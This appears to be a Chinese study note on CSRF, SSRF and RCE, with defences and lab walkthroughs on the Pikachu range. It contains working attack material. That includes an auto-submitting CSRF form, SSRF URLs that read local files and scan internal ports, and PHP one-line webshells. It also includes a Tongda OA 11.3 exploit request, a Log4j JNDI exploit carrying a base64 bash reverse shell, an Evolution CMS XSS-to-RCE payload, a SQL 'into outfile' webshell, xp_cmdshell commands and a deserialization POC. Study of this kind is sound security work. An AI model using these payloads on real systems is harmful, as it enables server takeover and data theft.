CSRF:是钓鱼网站,获取用户 密码 cookie啥的
SSRF:获取内网路径 信息扫描
RCE:是一句话木马
通过网站伪造 获取信息 从而进行登录
CSRF(Cross-Site Request Forgery,跨站请求伪造)和SSRF(Server-Side Request Forgery,服务器端请求伪造)都是网络安全中的常见攻击类型,但它们在攻击的发起者、目标以及攻击方式上有所不同。以下是两者的具体区别:
一、攻击发起者与目标
CSRF
发起者:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。
目标:利用受害者在被攻击网站已经获取的注册凭证(如登录状态、Cookie等),绕过后台的用户验证,冒充用户对被攻击的网站执行某项操作。
说明
跟跨网站脚本(XSS)相比,
XSS 利用的是用户对指定网站的信任
CSRF 利用的是网站对用户网页浏览器的信任
SSRF
发起者:攻击者直接构造请求,由服务端发起请求。
目标:利用存在缺陷的Web应用作为代理,攻击远程和本地的服务器,特别是内网中无法直接访问的系统。
二、攻击方式与原理
CSRF
方式:攻击者诱导受害者访问一个包含恶意请求的网页(如通过邮件、消息或恶意网站)。如果受害者已经登录目标网站,该恶意请求就会以受害者的身份被目标网站信任并执行。
原理:CSRF利用了用户的浏览器和已认证的Web应用会话状态,迫使用户执行非预期的操作。
SSRF
方式:攻击者将恶意请求发送到服务器端应用。服务器端应用在没有充分验证输入的情况下执行了这个请求,可能访问了内部系统或向外部发送敏感数据。SSRF攻击的目标一般是从外网无法访 问的内部系统
原理:SSRF利用了服务端对用户提供的可控URL地址的过于信任,没有经过严格检测,从而允许攻击者以服务端为跳板发起对其他系统的攻击。
三、防御方法
CSRF防御
使用CSRF令牌(anti-CSRF令牌):在表单提交或重要的请求中加入令牌,确保每个请求都是用户明确意图的结果。
验证Referer头部:检查HTTP请求的Referer头部,以确保请求是从可信的源发起。
设置Cookie的SameSite属性:限制Cookie在跨站请求中的发送,如设置为SameSite=Strict可防止Cookie在跨站请求中使用。
在Ajax请求中使用自定义HTTP头:由于跨站请求通常不能设置自定义头,这增加了安全性。
SSRF防御
过滤和验证用户输入:特别是那些用于指定资源位置(如URLs)的输入,应限制只能访问预定义的安全域名或IP地址。
禁用不必要的协议:如file://、gopher://、ftp://等,以减少潜在的攻击面。
设置URL白名单或限制内网IP:使用gethostbyname()等函数判断是否为内网IP,并限制对这些IP的访问。
限制请求的端口:如仅允许http常用的端口(80、443等)进行通信。
统一错误信息:避免用户根据错误信息判断远端服务器的端口状态,以防止信息泄露
如何确认一个web系统存在CSRF漏洞
1.对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造
例如修改管理员账号时,不需要验证旧密码,导致请求容易被伪造;对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造
2.确认凭证的有效期
虽然退出或关闭了浏览器,但cookie仍然有效,或者session并没有过期,导致CSRF攻击变得简单
pikachu靶场试验
第1关 CSRF(get)
1.选择一个用户进行登录,使用burp进行抓包
2.就可以抓到相应数据。这里出现了Cookie,如果利用XSS漏洞在页面上插入并将Cookie发送给攻击者,那么攻击者会有机 会直接登录用户的账号
3.登录成功之后,可以看到有修改个人信息。进行修改,然后进行抓包。
4.伪造一个html页面。用户访问攻击者这个伪造的页面。且pikachu是登录状态。邮箱就有123 变成了234,这是因为用户没有查看将会无感的向攻击者指定的网站发送非本人的请求。且会发现该请求带上了正确的Cookie(对网站来说视为其本人发起了一个请求且通过了Cookie验证),就达到了一个信息已被篡改
5.从上面抓到的的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么,这里应该是可以被利用的。试试改一改上面的链接,比如把电话号码、邮箱啥的
第2关 CSRF(post)
1.前面步骤一样,直接来到修改信息,抓包
2.伪造一个页面勾引用户点击提交按钮,那么其个人信息将会被恶意修改,可以在控制台中看到点击按钮后触发的POST请求。
<html><script> <!-- 这个script是用来自动提交表单的 -->window.onload = function() {document.getElementById("submit").click();}</script> <body><form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="girl" /><input type="hidden" name="phonenum" value="123456789" /><input type="hidden" name="add" value="usa" /><input type="hidden" name="email" value="caker@pikachu.com" /><input type="hidden" name="submit" value="submit" /><input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 --></form></body>
</html>
第三关 CSRF Token
这关是防范CSRF的常用方法的一个演示。
token验证原理
CSRF的主要问题是敏感操作的链接容易被伪造
每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证
网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。
试了一下,这关删除token是无法修改用户信息的,多抓几个包之后也没有看出token有什么规律。
在一个浏览器上以allen登录,到修改信息的页面,查看网页源代码获取token,再到另一个浏览器以lili登录,构造payload包含此token也是无法攻击成功的。
看一下代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。
修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url
防御方案
1)当用户发送重要的请求时需要输入原始密码
这样限制攻击者无法在完全无感的情况下执行CSRF,用户也会因此警觉
2)设置随机 Token
Token:给用户第一次登录时设定的唯一值(且足够随机),在作出请求的时候必须携带这个 Token才会生效,一方面减少了重复请求量,一方面也避免了大部分CSRF攻击
3)同源策略,检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面
(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所 以攻击失败)
4)设置验证码
5)限制请求方式只能为 POST
SSRF
什么是SSRF?
SSRF:服务器端请求伪造(Server-Side Request Forgery)
SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标一般是从外网无法访 问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与 限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请 求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
漏洞挖掘时可以参考这些点入手
WEB功能上:
1)分享:通过URL地址分享网页内容
2)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3)在线翻译:通过URL地址翻译对应文本内容 如:百度,有道
4)图片加载与下载:通过URL地址加载与下载图片
5)图片 文章收藏功能
6)未公开的API实现以及其他调用URL的功能
URL中的关键字:【结合谷歌语法找到入手点】
share wap url link src source target u 3g display sourceURL imageURL domain
pikachu靶场试验
SSRF(curl) 第一关
点击这个链接可以返回一首诗。观察 url 发现它传递了一个 url 给后台
我们可以把 url 中的内容改成内网的其他服务器上地址和端口,探测内网的其他信息,比如端口开放情况,下面这个例子就探测出129这台机器开放了22端口
SSRF(file_get_content)
file_get_content 可以对本地和远程的文件进行读取,比如
http://192.168.171.133/pikachu/vul/ssrf/ssrf_fgc.php file=http://192.168.171.129/index.html
http://192.168.171.133/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///C://1.txt
或者使用 filter 取得页面 源码
http://192.168.171.133/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
再进行 base64 解码 就能得到页面源码
实例:自己搭建的测试环境
靶机:win7 (192.168.168.128)
攻击机:win10 (192.168.168.1)
1)首先在靶机里部署一个页面模拟一个访问网站的业务(类似于翻译网页的网站 给出一个网站后它会 主动去访问并翻译内容返回)再放置一个文件方便看来源ip
index.php
<meta http-equiv="Content-Type" content="text/html"; charset="utf-8" />
<form action="" method="post"> 想翻译的网站:<input type="text" name="url"><br>
<input type="submit" name="Submit" value="Cheak!">
</form>
<?php
$_POST['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
1.php (用于看访问它的IP是多少)
<?php
$ip = $_SERVER['REMOTE_ADDR'];
echo "Your ip is ".$ip;
?>
图示点击后就会跳转到百度这个页面(这里为了方便仅有跳转功能 真实环境的翻译等等没有做)
2)以攻击机身份访问该网站
可以看到直接访问1.php
显示访问者的IP是攻击者本身的IP
在想翻译的网站这里直接输入 http://192.168.168.128:8089/SSRF/1.php
换成http://127.0.0.1:8089/SSRF/1.php 可能会更直接点
可以发现通过这样的方式会让攻击者以内部网络身份访问文件(也就是说这样可以让我们访问一些原本不 允许外网访问的文件) 通过SSRF漏洞访问了内网资源
试试访问Mysql 如果来自外部自然是被拒绝的 而如果是内部则会被允许
直接访问数据库接口是不被允许的
在页面输入http://127.0.0.1:3306提交 会发现可以查询到数据
进一步思考 这样可以对内网的端口进行探测 实战中需要用字典跑一跑内网地址
可参考:
https://www.t00ls.com/articles-41070.html
什么是RCE?怎么产生的?
RCE:远程命令/代码执行(remote command/code execute),可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比 如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代 码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
漏洞形成条件
可控变量、漏洞函数 导致代码可以执行
php命令执行函数
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
php代码执行函数
eval()、assert()、preg_replace()、create_function()、array_map()、
call_user_func()、call_user_func_array()、array_filter()、uasort()、文件操作函数、动
态函数( a ( a( a(b))
PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞。比如
<?php eval($_REQUEST[6]);?> <?php assert($_REQUEST[6]);?> <?php @preg_replace("/abc/e",$_REQUEST[6],"abcd");?>Java命令执行函数
Runtime.getRuntime().exec 、ProcessBuilder
注:Runtime.exec类型的RCE如果要反弹shell需要特殊处理:
原命令:bash -i >& /dev/tcp/IP/7788 0>&1
处理后:bash -cecho,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4SDwLjEvMTIzNDUgMD4mMQ==}{base64,-d|{bash,-i}
Java没有直接的代码执行函数
命令连接符
Windows 系列支持的管道如下所示:
"|":直接执行后面的语句,如:ping 127.0.0.1 | whoami
"||":如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2 ||whoami
"&":如果前面的语句为假则直接执行后面的语句,前面的语句可能为假。例如:ping 127.0.0.1&whoami
"&&":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1 && whoamishell_exec('mysqldump -uroot -proot --databases doucms > D:/doucms.sql');
// D:/doucms.sql 这个是可控的参数
// $path = 'D:/doucms.sql';
// 修改这个参数
// $path = 'D:/douc&whoami&ms.sql';
// $path = 'D:/douc&echo "<?php eval($_REQUEST[6]);?>" > shell.php&ms.sql';
Linux系列支持的管道如下所示:
";":执行完前面的语句再执行后面的。如:ping 127.0.0.1;whoami
"|":显示后面语句的执行结果。如:ping 127.0.0.1 | whoami
"||":当前面的语句执行出错时,执行后面的语句。例如:ping 127.0.0.1 || whoami
"&":如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如:Ping 127.0.0.1 &whoami
"&&":如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。如:ping 127.0.0.1&& whoami
常见RCE的类型
若是发现了基础危害不大的漏洞,不建议直接提交的,而是应该想办法看,能不能对该漏洞进行升级,扩大其危害。比如文件包含漏洞,威力不大,如果与RCE结合起来,危害就不一样了。文件包含不算常见,经常出现在php程序中。文件上传漏洞导致RCE
案例:
pikachu靶场
第一步:判断操作系统 抓包 在server里查看即可
可以看到部署在windows上 所以RCE执行命令时需要使用windows的命令而不是linux
该靶场模块是实现一个ping的功能 也就是说输入的东西会被其在cmd中执行
可控参数+漏洞函数 构成了出现漏洞的前提条件
在框内输入127.0.0.1 | dir 会发现返回的结果中执行了dir命令
eval():会将符合PHP 语法规范字符串当作php代码执行。
输入phpinfo();
或者插入一句话木马:
payload:
fputs(fopen(‘shell.php’,‘w’),‘<?php assert($_POST["eval"]?>’);
环境:通达OA11.3
在/ispirit/im/upload.php 中上传文件
文件内容
<?php
//保存为jpg$command=$_POST['cmd'];$wsh=new COM("Wscript.Shell"); $exec=$wsh->exec("cmd.exe /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput;
?>
2003是文件夹名,1084355136|test.jpg是文件名,要把 | 修改成点,请求相对应版本的gateway.php ,修改对应版本路径文件,和对应图片马上传的路径和文件名,header头添加Content-Type: application/x-www-form-urlencoded
执行任意命令
POST /ispirit/interface/gateway.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69json={"url":"/general/../../attach/im/2003/上传的文件名.jpg"}&cmd=whoami(可以是任意命令)
JNDI注入导致RCE
环境:
2.0 ≤ Apache Log4j2 < 2.15.0-rc2
拉取靶场镜像:docker pull vulfocus/log4j2-rce-2021-12-09:latest
利用JNDI工具
安装:git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切换目录:cd JNDI-Injection-Exploit
编译安装:mvn clean package -DskipTests
切换到target目录 cd target
使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,依赖Java 版本1.8 或者1.7
工具使用方式:java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -c"命令" -A “攻击机的IP”
服务器站点部署
部署:RMI服务或者LDAP服务
目的:是要让受害者访问攻击者准备的恶意服务器,从而执行恶意代码,主要是获得受害者的权限,那么可以执行反弹shell的命令。
将反弹shell通过JNDI注入工具部署在LDAP服务 或者RMI 服务中
利用工具得到payload
反弹shell命令:bash -i >& /dev/tcp/192.168.1.1/7788 0>&1 注:这里可以构造任意命令,base64编码。
base64编码后
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}运行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}" -A "192.168.1.1"
XSS漏洞导致的RCE
环境:Evolution CMS 3.2.3
Evolution CMS存在跨站脚本漏洞,该漏洞源于uid参数对用户提供的数据缺乏有效过滤与转义,攻击者可利用该漏洞通过注入精心设计的有效载荷执行任意Web脚本或HTML
插入payload,验证xss漏洞
在Evolution CMS后台不能上传后缀为php的文件,利用javascript 实现文件编辑的功能,修改 index.php 的内容为 phpinfo()
构造 payload
$.get('/manager/?a=31',function(d) {let p = $(d).contents().find('input[name=\"path\"]').val();$.ajax({url:'/manager/index.php',type:'POST',contentType:'application/x-www-form-urlencoded',data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'} #可以修改成任意命令);
});
将payload进行base64编码
访问url
SQL注入漏洞导致RCE
DBA权限
条件
1、root账户登录
2、知道绝对路径
3、secure_file_priv=“ ” 可以向任意绝对路径写文件,在my.ini中进行配置mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)
执行命令
mysql> select '<?php @eval($_REQUEST[6]);?>' into outfile 'D:/www/shell.php';
Query OK, 1 row affected (0.00 sec)mysql>
sql server注入RCE
使用xp_cmdshell,需要开启xp_cmdshell,只有sa权限才可以开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
注:在高版本的sql server中已经无法使用xp_cmdshell
EXEC master.dbo.xp_cmdshell 'whoami'
反序列化漏洞导致RCE
写一个demo
<?php
header("content-type:text/html;charset=utf-8");
class Cat
{
public $name = "猫";
public function __wakeup
eval($this->name);
}
}
// 接收参数
$data = $_REQUEST['data'];
// 反序列化
unserialize($data);
构造poc
O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}#O:3:"cat": 这部分指明了被序列化的是一个对象(O)。3表示类名的字符数,"cat"是类名。
#1: 表明对象有一个属性。这是属性计数,用来指明接下来会有多少个属性-值对。
#s:4:"name";: 这是属性名。s表示字符串,4是属性名"name"的长度。
#s:10:"phpinfo();";: 这是属性的值。s同样表示字符串,10是值"phpinfo();"的长度
这里可以将phpinfo()改成任意命令,比如file_put_contents(‘shell.php’,’
参考:https://zhuanlan.zhihu.com/p/719083687